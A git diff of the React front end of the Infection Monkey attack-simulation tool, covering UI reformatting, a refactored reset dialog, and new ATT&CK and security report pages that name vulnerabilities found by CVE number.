this.authFetch('/api/configuration/island') .then(res => res.json()) @@ -226,6 +236,7 @@ class RunMonkeyPageComponent extends AuthComponent { return res.configuration; }) } + instanceIdToInstance = (instance_id) => { let instance = this.state.awsMachines.find( function (inst) { @@ -241,7 +252,9 @@ class RunMonkeyPageComponent extends AuthComponent { <div style={{'marginTop': '1em', 'marginBottom': '1em'}}> <p className="alert alert-info"> <i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/> - Not sure what this is? Not seeing your AWS EC2 instances? <a href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances" target="_blank">Read the documentation</a>! + Not sure what this is? Not seeing your AWS EC2 instances? <a + href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances" + target="_blank">Read the documentation</a>! </p> </div> { @@ -250,7 +263,7 @@ class RunMonkeyPageComponent extends AuthComponent { style={{'marginBottom': '2em'}}> {this.state.ips.map(ip => <NavItem key={ip} eventKey={ip}>{ip}</NavItem>)} </Nav> - : <div style={{'marginBottom': '2em'}} /> + : <div style={{'marginBottom': '2em'}}/> } <AwsRunTable @@ -263,12 +276,13 @@ class RunMonkeyPageComponent extends AuthComponent { className={'btn btn-default btn-md center-block'} disabled={this.state.awsClicked}> Run on selected machines - { this.state.awsClicked ? <Icon name="refresh" className="text-success" style={{'marginLeft': '5px'}}/> : null } + {this.state.awsClicked ? <FontAwesomeIcon icon={faSync} className="text-success" style={{'marginLeft': '5px'}}/> : null} </button> </div> </div> ) } + render() { return ( <Col xs={12} lg={8}> @@ -281,9 +295,9 @@ class RunMonkeyPageComponent extends AuthComponent { <button onClick={this.runLocalMonkey} className="btn btn-default btn-lg center-block" disabled={this.state.runningOnIslandState !== 'not_running'} - > + > Run on Monkey Island Server - { RunMonkeyPageComponent.renderIconByState(this.state.runningOnIslandState) } + {RunMonkeyPageComponent.renderIconByState(this.state.runningOnIslandState)} </button> { // TODO: implement button functionality @@ -302,8 +316,9 @@ class RunMonkeyPageComponent extends AuthComponent { OR </p> <p style={this.state.showManual || !this.state.isOnAws ? {'marginBottom': '2em'} : {}}> - <button onClick={this.toggleManual} className={'btn btn-default btn-lg center-block' + (this.state.showManual ? ' active' : '')}> - Run on machine of your choice + <button onClick={this.toggleManual} + className={'btn btn-default btn-lg center-block' + (this.state.showManual ? ' active' : '')}> + Run on a machine of your choice </button> </p> <Collapse in={this.state.showManual}> @@ -312,7 +327,8 @@ class RunMonkeyPageComponent extends AuthComponent { Choose the operating system where you want to run the monkey {this.state.ips.length > 1 ? ', and the interface to communicate with.' : '.'} </p> - <Nav bsStyle="pills" justified activeKey={this.state.selectedOs} onSelect={this.setSelectedOs}> + <Nav bsStyle='pills' id={'bootstrap-override'} className={'runOnOsButtons'} + justified activeKey={this.state.selectedOs} onSelect={this.setSelectedOs}> <NavItem key='windows-32' eventKey='windows-32'>Windows (32 bit)</NavItem> <NavItem key='windows-64' eventKey='windows-64'>Windows (64 bit)</NavItem> <NavItem key='linux-32' eventKey='linux-32'>Linux (32 bit)</NavItem> @@ -323,7 +339,7 @@ class RunMonkeyPageComponent extends AuthComponent { style={{'marginBottom': '2em'}}> {this.state.ips.map(ip => <NavItem key={ip} eventKey={ip}>{ip}</NavItem>)} </Nav> - : <div style={{'marginBottom': '2em'}} /> + : <div style={{'marginBottom': '2em'}}/> } <p style={{'fontSize': '1.2em'}}> Copy the following command to your machine and run it with Administrator or root privileges. @@ -337,14 +353,14 @@ class RunMonkeyPageComponent extends AuthComponent { <div className='sweet-loading'> <GridLoader css={loading_css_override} - sizeUnit={"px"} + sizeUnit={'px'} size={30} color={'#ffcc00'} loading={this.state.loading} /> </div> </p> - : null + : null } { this.state.isOnAws ? @@ -357,7 +373,8 @@ class RunMonkeyPageComponent extends AuthComponent { { this.state.isOnAws ? <p style={{'marginBottom': '2em'}}> - <button onClick={this.toggleAws} className={'btn btn-default btn-lg center-block' + (this.state.showAws ? ' active' : '')}> + <button onClick={this.toggleAws} + className={'btn btn-default btn-lg center-block' + (this.state.showAws ? ' active' : '')}> Run on AWS machine of your choice </button> </p> @@ -370,9 +387,12 @@ class RunMonkeyPageComponent extends AuthComponent { <div style={{'marginTop': '1em'}}> <p class="alert alert-danger"> <i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/> - Error while collecting AWS machine data. Error message: <code>{this.state.awsMachineCollectionErrorMsg}</code><br/> + Error while collecting AWS machine data. Error + message: <code>{this.state.awsMachineCollectionErrorMsg}</code><br/> Are you sure you've set the correct role on your Island AWS machine?<br/> - Not sure what this is? <a href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances">Read the documentation</a>! + Not sure what this is? <a + href="https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances">Read + the documentation</a>! </p> </div> : diff --git a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js index c44a5a72f..a57c81ca5 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js @@ -1,7 +1,9 @@ import React from 'react'; -import {Col, Modal} from 'react-bootstrap'; +import {Col} from 'react-bootstrap'; import {Link} from 'react-router-dom'; import AuthComponent from '../AuthComponent'; +import StartOverModal from '../ui-components/StartOverModal'; +import '../../styles/StartOverPage.scss'; class StartOverPageComponent extends AuthComponent { constructor(props) { @@ -12,6 +14,9 @@ class StartOverPageComponent extends AuthComponent { showCleanDialog: false, allMonkeysAreDead: false }; + + this.cleanup = this.cleanup.bind(this); + this.closeModal = this.closeModal.bind(this); } updateMonkeysRunning = () => { @@ -25,46 +30,14 @@ class StartOverPageComponent extends AuthComponent { }); }; - renderCleanDialogModal = () => { - return ( - <Modal show={this.state.showCleanDialog} onHide={() => this.setState({showCleanDialog: false})}> - <Modal.Body> - <h2><div className="text-center">Reset environment</div></h2> - <p style={{'fontSize': '1.2em', 'marginBottom': '2em'}}> - Are you sure you want to reset the environment? - </p> - { - !this.state.allMonkeysAreDead ? - <div className="alert alert-warning"> - <i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/> - Some monkeys are still running. It's advised to kill all monkeys before resetting. - </div> - : - <div /> - } - <div className="text-center"> - <button type="button" className="btn btn-danger btn-lg" style={{margin: '5px'}} - onClick={() => { - this.cleanup(); - this.setState({showCleanDialog: false}); - }}> - Reset environment - </button> - <button type="button" className="btn btn-success btn-lg" style={{margin: '5px'}} - onClick={() => this.setState({showCleanDialog: false})}> - Cancel - </button> - </div> - </Modal.Body> - </Modal> - ) - - }; - render() { return ( <Col xs={12} lg={8}> - {this.renderCleanDialogModal()} + <StartOverModal cleaned = {this.state.cleaned} + showCleanDialog = {this.state.showCleanDialog} + allMonkeysAreDead = {this.state.allMonkeysAreDead} + onVerify = {this.cleanup} + onClose = {this.closeModal}/> <h1 className="page-title">Start Over</h1> <div style={{'fontSize': '1.2em'}}> <p> @@ -75,7 +48,8 @@ class StartOverPageComponent extends AuthComponent { <button className="btn btn-danger btn-lg center-block" onClick={() => { this.setState({showCleanDialog: true}); - this.updateMonkeysRunning();} + this.updateMonkeysRunning(); + } }> Reset the Environment </button> @@ -86,7 +60,7 @@ class StartOverPageComponent extends AuthComponent { You can continue and <Link to="/run-monkey">Run More Monkeys</Link> as you wish, and see the results on the <Link to="/infection/map">Infection Map</Link> without deleting anything. </div> - { this.state.cleaned ? + {this.state.cleaned ? <div className="alert alert-success"> <i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/> Environment was reset successfully @@ -101,16 +75,22 @@ class StartOverPageComponent extends AuthComponent { this.setState({ cleaned: false }); - this.authFetch('/api?action=reset') + return this.authFetch('/api?action=reset') .then(res => res.json()) .then(res => { if (res['status'] === 'OK') { this.setState({ - cleaned: true - }); + cleaned: true + }); } - }); - } + }).then(this.updateMonkeysRunning()); + }; + + closeModal = () => { + this.setState({ + showCleanDialog: false + }) + }; } export default StartOverPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js index 120344eea..d259d1cba 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js @@ -5,14 +5,14 @@ import {DataTable} from 'react-data-components'; import AuthComponent from '../AuthComponent'; import download from 'downloadjs' -const renderJson = (val) => <JSONTree data={val} level={1} theme="eighties" invertTheme={true} />; +const renderJson = (val) => <JSONTree data={val} level={1} theme="eighties" invertTheme={true}/>; const renderTime = (val) => val.split('.')[0]; const columns = [ - { title: 'Time', prop: 'timestamp', render: renderTime}, - { title: 'Monkey', prop: 'monkey'}, - { title: 'Type', prop: 'telem_catagory'}, - { title: 'Details', prop: 'data', render: renderJson, width: '40%' } + {title: 'Time', prop: 'timestamp', render: renderTime}, + {title: 'Monkey', prop: 'monkey'}, + {title: 'Type', prop: 'telem_catagory'}, + {title: 'Details', prop: 'data', render: renderJson, width: '40%'} ]; class TelemetryPageComponent extends AuthComponent { @@ -29,47 +29,47 @@ class TelemetryPageComponent extends AuthComponent { .then(res => this.setState({data: res.objects})); }; -downloadIslandLog = () => { + downloadIslandLog = () => { this.authFetch('/api/log/island/download') .then(res => res.json()) .then(res => { - let filename = 'Island_log' + let filename = 'Island_log'; let logContent = (res['log_file']); download(logContent, filename, 'text/plain'); }); - }; + }; render() { return ( - <div> <div> - <Col xs={12} lg={8}> - <h1 className="page-title">Log</h1> - <div className="data-table-container"> - <DataTable - keys="name" - columns={columns} - initialData={this.state.data} - initialPageLength={20} - initialSortBy={{ prop: 'timestamp', order: 'descending' }} - pageLengthOptions={[ 20, 50, 100 ]} - /> - </div> - </Col> - </div> - <div> - <Col xs={12} lg={8}> - <h1 className="page-title"> Monkey Island Logs </h1> - <div className="text-center" style={{marginBottom: '20px'}}> - <p style={{'marginBottom': '2em', 'fontSize': '1.2em'}}> Download Monkey Island internal log file </p> - <Button bsSize="large" onClick={()=> { - this.downloadIslandLog(); + <div> + <Col xs={12} lg={8}> + <h1 className="page-title">Log</h1> + <div className="data-table-container"> + <DataTable + keys="name" + columns={columns} + initialData={this.state.data} + initialPageLength={20} + initialSortBy={{prop: 'timestamp', order: 'descending'}} + pageLengthOptions={[20, 50, 100]} + /> + </div> + </Col> + </div> + <div> + <Col xs={12} lg={8}> + <h1 className="page-title"> Monkey Island Logs </h1> + <div className="text-center" style={{marginBottom: '20px'}}> + <p style={{'marginBottom': '2em', 'fontSize': '1.2em'}}> Download Monkey Island internal log file </p> + <Button bsSize="large" onClick={() => { + this.downloadIslandLog(); }}> - <i className="glyphicon glyphicon-download"/> Download </Button> - </div> - </Col> + <i className="glyphicon glyphicon-download"/> Download </Button> + </div> + </Col> + </div> </div> - </div> ); } } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js deleted file mode 100755 index a0b92d9bd..000000000 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ /dev/null @@ -1,134 +0,0 @@ -import React, {Fragment} from 'react'; -import {Col} from 'react-bootstrap'; -import AuthComponent from '../AuthComponent'; -import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; -import ReportLoader from "../report-components/common/ReportLoader"; -import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; -import PrintReportButton from "../report-components/common/PrintReportButton"; -import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus"; -import SummarySection from "../report-components/zerotrust/SummarySection"; -import FindingsSection from "../report-components/zerotrust/FindingsSection"; -import PrinciplesSection from "../report-components/zerotrust/PrinciplesSection"; - -class ZeroTrustReportPageComponent extends AuthComponent { - - constructor(props) { - super(props); - - this.state = { - allMonkeysAreDead: false, - runStarted: true - }; - } - - componentDidMount() { - this.updatePageState(); - const refreshInterval = setInterval(this.updatePageState, 8000); - this.setState( - {refreshDataIntervalHandler: refreshInterval} - ) - } - - componentWillUnmount() { - clearInterval(this.state.refreshDataIntervalHandler); - } - - updateMonkeysRunning = () => { - return this.authFetch('/api') - .then(res => res.json()) - .then(res => { - this.setState(extractExecutionStatusFromServerResponse(res)); - return res; - }); - }; - - updatePageState = () => { - this.updateMonkeysRunning().then(res => this.getZeroTrustReportFromServer(res)); - }; - - render() { - let content; - if (this.state.runStarted) { - content = this.generateReportContent(); - } else { - content = <MustRunMonkeyWarning/>; - } - - return ( - <Col xs={12} lg={10}> - <h1 className="page-title no-print">5. Zero Trust Report</h1> - <div style={{'fontSize': '1.2em'}}> - {content} - </div> - </Col> - ); - } - - generateReportContent() { - let content; - - if (this.stillLoadingDataFromServer()) { - content = <ReportLoader loading={true}/>; - } else { - content = <div id="MainContentSection"> - <SummarySection allMonkeysAreDead={this.state.allMonkeysAreDead} pillars={this.state.pillars}/> - <PrinciplesSection principles={this.state.principles} - pillarsToStatuses={this.state.pillars.pillarsToStatuses}/> - <FindingsSection pillarsToStatuses={this.state.pillars.pillarsToStatuses} findings={this.state.findings}/> - </div>; - } - - return ( - <Fragment> - <div style={{marginBottom: '20px'}}> - <PrintReportButton onClick={() => { - print(); - }}/> - </div> - <div className="report-page"> - <ReportHeader report_type={ReportTypes.zeroTrust}/> - <hr/> - {content} - </div> - <div style={{marginTop: '20px'}}> - <PrintReportButton onClick={() => { - print(); - }}/> - </div> - </Fragment> - ) - } - - stillLoadingDataFromServer() { - return typeof this.state.findings === "undefined" - || typeof this.state.pillars === "undefined" - || typeof this.state.principles === "undefined"; - } - - getZeroTrustReportFromServer() { - let res; - this.authFetch('/api/report/zero_trust/findings') - .then(res => res.json()) - .then(res => { - this.setState({ - findings: res - }); - }); - this.authFetch('/api/report/zero_trust/principles') - .then(res => res.json()) - .then(res => { - this.setState({ - principles: res - }); - }); - this.authFetch('/api/report/zero_trust/pillars') - .then(res => res.json()) - .then(res => { - this.setState({ - pillars: res - }); - }); - } -} - -export default ZeroTrustReportPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js index c175becd3..3199385ba 100644 --- a/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js +++ b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js @@ -3,10 +3,18 @@ import Graph from 'react-graph-vis'; import Dimensions from 'react-dimensions' class GraphWrapper extends React.Component { + + constructor(props) { + super(props); + } + render() { - let newOptions = this.props.options; - newOptions.height = this.props.containerHeight.toString() + 'px'; - newOptions.width = this.props.containerWidth.toString() + 'px'; + let newOptions = null; + if(this.props.options !== undefined){ + newOptions = this.props.options; + newOptions.height = this.props.containerHeight.toString() + 'px'; + newOptions.width = this.props.containerWidth.toString() + 'px'; + } return (<Graph graph={this.props.graph} options={newOptions} events={this.props.events}/>) } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js new file mode 100644 index 000000000..5f8e40455 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -0,0 +1,166 @@ +import React from 'react'; +import {Col, Button} from 'react-bootstrap'; +import '../../styles/Collapse.scss'; +import '../../styles/report/AttackReport.scss'; +import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; +import {faCircle, faEye, faEyeSlash, faRadiation} from '@fortawesome/free-solid-svg-icons'; + +import ReportHeader, {ReportTypes} from './common/ReportHeader'; +import {ScanStatus} from '../attack/techniques/Helpers'; +import Matrix from './attack/ReportMatrixComponent'; +import SelectedTechnique from './attack/SelectedTechnique'; +import TechniqueDropdowns from './attack/TechniqueDropdowns'; +import ReportLoader from './common/ReportLoader'; + +const techComponents = getAllAttackModules(); + +function getAllAttackModules() { + let context = require.context('../attack/techniques/', false, /\.js$/); + let obj = {}; + context.keys().forEach(function (key) { + let techName = key.replace(/\.js/, ''); + techName = String(techName.replace(/\.\//, '')); + obj[techName] = context(key).default; + }); + return obj; +} + +class AttackReport extends React.Component { + + constructor(props) { + super(props); + this.state = { + selectedTechnique: false, + collapseOpen: '' + }; + if (typeof this.props.report.schema !== 'undefined' && typeof this.props.report.techniques !== 'undefined'){ + this.state['schema'] = this.props.report['schema']; + this.state['techniques'] = AttackReport.addLinksToTechniques(this.props.report['schema'], this.props.report['techniques']); + } + } + + componentDidUpdate(prevProps) { + if (this.props.report !== prevProps.report) { + this.setState({schema: this.props.report['schema'], + techniques: AttackReport.addLinksToTechniques(this.props.report['schema'], this.props.report['techniques'])}) + } + } + + onTechniqueSelect = (technique, value) => { + let selectedTechnique = this.getTechniqueByTitle(technique); + if (selectedTechnique === false){ + return; + } + this.setState({selectedTechnique: selectedTechnique.tech_id}) + }; + + static getComponentClass(tech_id, techniques) { + switch (techniques[tech_id].status) { + case ScanStatus.SCANNED: + return 'collapse-warning'; + case ScanStatus.USED: + return 'collapse-danger'; + default: + return 'collapse-default'; + } + } + + static getStatusIcon(tech_id, techniques){ + switch (techniques[tech_id].status){ + case ScanStatus.SCANNED: + return <FontAwesomeIcon icon={faEye} className={'technique-status-icon'}/>; + case ScanStatus.USED: + return <FontAwesomeIcon icon={faRadiation} className={'technique-status-icon'}/>; + default: + return <FontAwesomeIcon icon={faEyeSlash} className={'technique-status-icon'}/>; + } + } + + renderLegend() { + return (<div id='header' className='row justify-content-between attack-legend'> + <Col xs={4}> + <FontAwesomeIcon icon={faCircle} className='technique-not-attempted'/> + <span> - Not attempted</span> + </Col> + <Col xs={4}> + <FontAwesomeIcon icon={faCircle} className='technique-attempted'/> + <span> - Tried (but failed)</span> + </Col> + <Col xs={4}> + <FontAwesomeIcon icon={faCircle} className='technique-used'/> + <span> - Successfully used</span> + </Col> + </div>) + } + + generateReportContent() { + return ( + <div> + <p> + This report shows information about + <Button bsStyle={'link'} + href={'https://attack.mitre.org/'} + bsSize={'lg'} + className={'attack-link'} + target={'_blank'}> + Mitre ATT&CK™ + </Button> + techniques used by Infection Monkey. + </p> + {this.renderLegend()} + <Matrix techniques={this.state.techniques} schema={this.state.schema} onClick={this.onTechniqueSelect}/> + <SelectedTechnique techComponents={techComponents} + techniques={this.state.techniques} + selected={this.state.selectedTechnique}/> + <TechniqueDropdowns techniques={this.state.techniques} + techComponents={techComponents} + schema={this.state.schema}/> + <br/> + </div> + ) + } + + getTechniqueByTitle(title){ + for (const tech_id in this.state.techniques){ + if (! this.state.techniques.hasOwnProperty(tech_id)) {return false;} + let technique = this.state.techniques[tech_id]; + if (technique.title === title){ + technique['tech_id'] = tech_id; + return technique + } + } + return false; + } + + static addLinksToTechniques(schema, techniques){ + schema = schema.properties; + for(const type in schema){ + if (! schema.hasOwnProperty(type)) {return false;} + let typeTechniques = schema[type].properties; + for(const tech_id in typeTechniques){ + if (! typeTechniques.hasOwnProperty(tech_id)) {return false;} + if (typeTechniques[tech_id] !== undefined){ + techniques[tech_id]['link'] = typeTechniques[tech_id].link + } + } + } + return techniques + } + + render() { + let content = {}; + if (typeof this.state.schema === 'undefined' || typeof this.state.techniques === 'undefined') { + content = <ReportLoader/>; + } else { + content = <div> {this.generateReportContent()}</div>; + } + return ( + <div id='attack' className='attack-report report-page'> + <ReportHeader report_type={ReportTypes.attack}/> + <hr/> + {content} + </div>) + } +} + +export default AttackReport; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js new file mode 100644 index 000000000..63bde5203 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -0,0 +1,945 @@ +import React, {Fragment} from 'react'; +import BreachedServers from 'components/report-components/security/BreachedServers'; +import ScannedServers from 'components/report-components/security/ScannedServers'; +import PostBreach from 'components/report-components/security/PostBreach'; +import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; +import {edgeGroupToColor, getOptions} from 'components/map/MapOptions'; +import StolenPasswords from 'components/report-components/security/StolenPasswords'; +import CollapsibleWellComponent from 'components/report-components/security/CollapsibleWell'; +import {Line} from 'rc-progress'; +import AuthComponent from '../AuthComponent'; +import PassTheHashMapPageComponent from '../pages/PassTheHashMapPage'; +import StrongUsers from 'components/report-components/security/StrongUsers'; +import ReportHeader, {ReportTypes} from './common/ReportHeader'; +import ReportLoader from './common/ReportLoader'; +import SecurityIssuesGlance from './common/SecurityIssuesGlance'; +import PrintReportButton from './common/PrintReportButton'; + +import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; +import { faMinus } from '@fortawesome/free-solid-svg-icons'; + +let guardicoreLogoImage = require('../../images/guardicore-logo.png'); + + +class ReportPageComponent extends AuthComponent { + + Issue = + { + WEAK_PASSWORD: 0, + STOLEN_CREDS: 1, + ELASTIC: 2, + SAMBACRY: 3, + SHELLSHOCK: 4, + CONFICKER: 5, + AZURE: 6, + STOLEN_SSH_KEYS: 7, + STRUTS2: 8, + WEBLOGIC: 9, + HADOOP: 10, + PTH_CRIT_SERVICES_ACCESS: 11, + MSSQL: 12, + VSFTPD: 13 + }; + + Warning = + { + CROSS_SEGMENT: 0, + TUNNEL: 1, + SHARED_LOCAL_ADMIN: 2, + SHARED_PASSWORDS: 3, + SHARED_PASSWORDS_DOMAIN: 4 + }; + + constructor(props) { + super(props); + this.state = { + report: props.report, + graph: {nodes: [], edges: []}, + nodeStateList: [] + }; + } + + componentDidMount() { + this.getNodeStateListFromServer(); + this.updateMapFromServer(); + } + + getNodeStateListFromServer = () => { + this.authFetch('/api/netmap/nodeStates') + .then(res => res.json()) + .then(res => { + this.setState({nodeStateList: res.node_states}); + }); + }; + + componentWillUnmount() { + clearInterval(this.interval); + } + + componentDidUpdate(prevProps) { + if (this.props.report !== prevProps.report) { + this.setState({ report: this.props.report }) + } + } + + render() { + let content; + + if (this.stillLoadingDataFromServer()) { + content = <ReportLoader loading={true}/>; + } else { + content = + <div> + {this.generateReportOverviewSection()} + {this.generateReportFindingsSection()} + {this.generateReportRecommendationsSection()} + {this.generateReportGlanceSection()} + {this.generateReportFooter()} + </div>; + } + + return ( + <Fragment> + <div style={{marginBottom: '20px'}}> + <PrintReportButton onClick={() => { + print(); + }}/> + </div> + <div className="report-page"> + <ReportHeader report_type={ReportTypes.security}/> + <hr/> + {content} + </div> + <div style={{marginTop: '20px'}}> + <PrintReportButton onClick={() => { + print(); + }}/> + </div> + </Fragment> + ); + } + + stillLoadingDataFromServer() { + return Object.keys(this.state.report).length === 0; + } + + updateMapFromServer = () => { + this.authFetch('/api/netmap') + .then(res => res.json()) + .then(res => { + res.edges.forEach(edge => { + edge.color = {'color': edgeGroupToColor(edge.group)}; + }); + this.setState({graph: res}); + }); + }; + + + generateReportOverviewSection() { + return ( + <div id="overview"> + <h2> + Overview + </h2> + <SecurityIssuesGlance issuesFound={this.state.report.glance.exploited.length > 0}/> + { + this.state.report.glance.exploited.length > 0 ? + '' + : + <p className="alert alert-info"> + <i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/> + To improve the monkey's detection rates, try adding users and passwords and enable the "Local + network + scan" config value under <b>Basic - Network</b>. + </p> + } + <p> + The first monkey run was started on <span + className="label label-info">{this.state.report.overview.monkey_start_time}</span>. After <span + className="label label-info">{this.state.report.overview.monkey_duration}</span>, all monkeys finished + propagation attempts. + </p> + <p> + The monkey started propagating from the following machines where it was manually installed: + <ul> + {this.state.report.overview.manual_monkeys.map(x => <li>{x}</li>)} + </ul> + </p> + <p> + The monkeys were run with the following configuration: + </p> + { + this.state.report.overview.config_users.length > 0 ? + <p> + Usernames used for brute-forcing: + <ul> + {this.state.report.overview.config_users.map(x => <li>{x}</li>)} + </ul> + Passwords used for brute-forcing: + <ul> + {this.state.report.overview.config_passwords.map(x => <li>{x.substr(0, 3) + '******'}</li>)} + </ul> + </p> + : + <p> + Brute forcing uses stolen credentials only. No credentials were supplied during Monkey’s + configuration. + </p> + } + { + this.state.report.overview.config_exploits.length > 0 ? + ( + this.state.report.overview.config_exploits[0] === 'default' ? + '' + : + <p> + The Monkey uses the following exploit methods: + <ul> + {this.state.report.overview.config_exploits.map(x => <li>{x}</li>)} + </ul> + </p> + ) + : + <p> + No exploits are used by the Monkey. + </p> + } + { + this.state.report.overview.config_ips.length > 0 ? + <p> + The Monkey scans the following IPs: + <ul> + {this.state.report.overview.config_ips.map(x => <li>{x}</li>)} + </ul> + </p> + : + '' + } + { + this.state.report.overview.config_scan ? + '' + : + <p> + Note: Monkeys were configured to avoid scanning of the local network. + </p> + } + </div> + ); + } + + generateReportFindingsSection() { + return ( + <div id="findings"> + <h3> + Security Findings + </h3> + <div> + <h3> + Immediate Threats + </h3> + { + this.state.report.overview.issues.filter(function (x) { + return x === true; + }).length > 0 ? + <div> + During this simulated attack the Monkey uncovered <span + className="label label-warning"> + {this.state.report.overview.issues.filter(function (x) { + return x === true; + }).length} threats</span>: + <ul> + {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ? + <li>Stolen SSH keys are used to exploit other machines.</li> : null} + {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ? + <li>Stolen credentials are used to exploit other machines.</li> : null} + {this.state.report.overview.issues[this.Issue.ELASTIC] ? + <li>Elasticsearch servers are vulnerable to <a + href="https://www.cvedetails.com/cve/cve-2015-1427">CVE-2015-1427</a>. + </li> : null} + {this.state.report.overview.issues[this.Issue.VSFTPD] ? + <li>VSFTPD is vulnerable to <a + href="https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor">CVE-2011-2523</a>. + </li> : null} + {this.state.report.overview.issues[this.Issue.SAMBACRY] ? + <li>Samba servers are vulnerable to ‘SambaCry’ (<a + href="https://www.samba.org/samba/security/CVE-2017-7494.html" + >CVE-2017-7494</a>).</li> : null} + {this.state.report.overview.issues[this.Issue.SHELLSHOCK] ? + <li>Machines are vulnerable to ‘Shellshock’ (<a + href="https://www.cvedetails.com/cve/CVE-2014-6271">CVE-2014-6271</a>). + </li> : null} + {this.state.report.overview.issues[this.Issue.CONFICKER] ? + <li>Machines are vulnerable to ‘Conficker’ (<a + href="https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067" + >MS08-067</a>).</li> : null} + {this.state.report.overview.issues[this.Issue.WEAK_PASSWORD] ? + <li>Machines are accessible using passwords supplied by the user during the Monkey’s + configuration.</li> : null} + {this.state.report.overview.issues[this.Issue.AZURE] ? + <li>Azure machines expose plaintext passwords. (<a + href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/" + >More info</a>)</li> : null} + {this.state.report.overview.issues[this.Issue.STRUTS2] ? + <li>Struts2 servers are vulnerable to remote code execution. (<a + href="https://cwiki.apache.org/confluence/display/WW/S2-045"> + CVE-2017-5638</a>)</li> : null} + {this.state.report.overview.issues[this.Issue.WEBLOGIC] ? + <li>Oracle WebLogic servers are susceptible to a remote code execution vulnerability.</li> : null} + {this.state.report.overview.issues[this.Issue.HADOOP] ? + <li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null} + {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ? + <li>Mimikatz found login credentials of a user who has admin access to a server defined as + critical.</li> : null} + {this.state.report.overview.issues[this.Issue.MSSQL] ? + <li>MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.</li> : null} + </ul> + </div> + : + <div> + During this simulated attack the Monkey uncovered <span + className="label label-success">0 threats</span>. + </div> + } + </div> + <div> + <h3> + Potential Security Issues + </h3> + { + this.state.report.overview.warnings.filter(function (x) { + return x === true; + }).length > 0 ? + <div> + The Monkey uncovered the following possible set of issues: + <ul> + {this.state.report.overview.warnings[this.Warning.CROSS_SEGMENT] ? + <li>Weak segmentation - Machines from different segments are able to + communicate.</li> : null} + {this.state.report.overview.warnings[this.Warning.TUNNEL] ? + <li>Weak segmentation - Machines were able to communicate over unused ports.</li> : null} + {this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ? + <li>Shared local administrator account - Different machines have the same account as a local + administrator.</li> : null} + {this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ? + <li>Multiple users have the same password</li> : null} + </ul> + </div> + : + <div> + The Monkey did not find any issues. + </div> + } + </div> + {this.state.report.overview.cross_segment_issues.length > 0 ? + <div> + <h3> + Segmentation Issues + </h3> + <div> + The Monkey uncovered the following set of segmentation issues: + <ul> + {this.state.report.overview.cross_segment_issues.map(x => this.generateCrossSegmentIssue(x))} + </ul> + </div> + </div> + : + '' + } + </div> + ); + } + + generateReportRecommendationsSection() { + return ( + <div id="recommendations"> + {/* Checks if there are any domain issues. If there are more then one: render the title. Otherwise, + * don't render it (since the issues themselves will be empty. */} + {Object.keys(this.state.report.recommendations.domain_issues).length !== 0 ? + <h3>Domain related recommendations</h3> : null} + <div> + {this.generateIssues(this.state.report.recommendations.domain_issues)} + </div> + {/* Checks if there are any issues. If there are more then one: render the title. Otherwise, + * don't render it (since the issues themselves will be empty. */} + {Object.keys(this.state.report.recommendations.issues).length !== 0 ? + <h3>Machine related recommendations</h3> : null} + <div> + {this.generateIssues(this.state.report.recommendations.issues)} + </div> + </div> + ); + } + + generateReportGlanceSection() { + let exploitPercentage = + (100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length; + return ( + <div id="glance"> + <h3> + The Network from the Monkey's Eyes + </h3> + <div> + <p> + The Monkey discovered <span + className="label label-warning">{this.state.report.glance.scanned.length}</span> machines and 